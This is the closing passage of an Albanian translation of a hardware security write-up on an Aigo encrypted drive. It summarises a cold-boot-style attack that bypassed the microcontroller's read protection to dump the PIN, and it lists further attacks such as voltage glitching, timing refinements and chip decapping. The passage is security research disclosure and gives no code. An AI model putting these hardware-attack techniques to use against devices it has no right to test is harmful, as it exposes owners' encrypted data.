  • mund tĂ« kapĂ«rcejmĂ« mbrojtjen nga leximi, pĂ«rmes sulmit "trajtim me rikthim tĂ« ftohtĂ«", dhe leximit tĂ« drejtpĂ«rdrejtĂ« tĂ« pin kodit.

Megjithatë, sulmi ynë ka disa probleme - për shkak të çështjeve të sinkronizimit. Mund të përmirësohej si më poshtë:

  • tĂ« shkruajmĂ« njĂ« mjet pĂ«r dekodimin e saktĂ« tĂ« tĂ« dhĂ«nave tĂ« dala, tĂ« marra si rezultat i sulmit "trajtim me rikthim tĂ« ftohtĂ«";
  • tĂ« pĂ«rdorim njĂ« FPGA pĂ«r tĂ« krijuar vonesa mĂ« tĂ« sakta (ose tĂ« pĂ«rdorim timer-e harduerike Arduino);
  • provo njĂ« sulm tjetĂ«r: tĂ« futĂ«sh njĂ« PIN tĂ« pasaktĂ«, tĂ« rikthesh pajisjen dhe tĂ« nxjerrĂ«sh RAM-in, duke shpresuar qĂ« PIN-i i saktĂ« tĂ« jetĂ« ruajtur nĂ« RAM pĂ«r krahasim. MegjithatĂ«, nĂ« Arduino nuk Ă«shtĂ« kaq e lehtĂ«, pasi niveli i sinjalit tĂ« Arduino-s Ă«shtĂ« 5 volt, ndĂ«rsa pllaka qĂ« po shqyrtojmĂ« funksionon me sinjale 3.3 volt.

NjĂ« gjĂ« interesante qĂ« mund tĂ« provojnĂ« – tĂ« luajnĂ« me nivelin e tensionit pĂ«r tĂ« pĂ«rshkuar mbrojtjen e leximit. NĂ«se njĂ« qasje e tillĂ« do tĂ« funksiononte, do tĂ« ishim nĂ« gjendje tĂ« merrnim tĂ« dhĂ«na shumĂ« tĂ« sakta nga flash, – nĂ« vend qĂ« tĂ« mbĂ«shteteshim tek leximi i checksum me vonesa tĂ« pasakta.

Duke marrĂ« parasysh se SROM, ndoshta lexon bitet mbrojtĂ«se pĂ«rmes thirrjes nĂ« sistem ReadBlock, mund tĂ« bĂ«jmĂ« tĂ« njĂ«jtĂ«n gjĂ« si pĂ«rshkruhet nĂ« blogun e Dmitri Nedaspasov – ripĂ«rsĂ«ritja e sulmit tĂ« Chris Gerlinsky, qĂ« u shpall nĂ« konferencĂ«n REcon Brussels 2017.

NjĂ« gjĂ« tjetĂ«r e çuditshme qĂ« mund tĂ« bĂ«jmĂ« – tĂ« gĂ«rryejmĂ« kabinĂ«n e çipit: pĂ«r tĂ« marrĂ« njĂ« dump tĂ« SRAM-it, pĂ«r tĂ« identifikuar thirrjet e sistemit tĂ« pazakontĂ« dhe dobĂ«sitĂ«.

9. Përfundimi

Pra, mbrojtja e këtij disku lë për të dëshiruar, sepse ai përdor një mikrocontroller të zakonshëm (jo "i fortifikuar") për ruajtjen e PIN-it... Përveç kësaj, nuk kam parë (ende) se si qëndron situata me enkriptimin e të dhënave në këtë pajisje!

ÇfarĂ« mund tĂ« rekomandoj pĂ«r Aigo? Pas analizimit tĂ« disa modeleve tĂ« disqeve tĂ« fortĂ« tĂ« enkriptuar, nĂ« vitin 2015 kam bĂ«rĂ« njĂ« prezantim nĂ« SyScan, ku shqyrtova problemet e sigurisĂ« sĂ« disa HDD-ve tĂ« jashtme dhe dhashĂ« rekomandime pĂ«r pĂ«rmirĂ«sim. 🙂

Këtë hulumtim e kam kaluar dy fundjava dhe disa mbrëmje. Në total, rreth 40 orë. Duke llogaritur nga fillimi (kur e hap diskun) deri në fund (dump-i i PIN-it). Në këto 40 orë është përfshirë koha që kam kaluar për të shkruar këtë artikull. Ishte një udhëtim shumë emocionues.

Burimi: habr.com

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster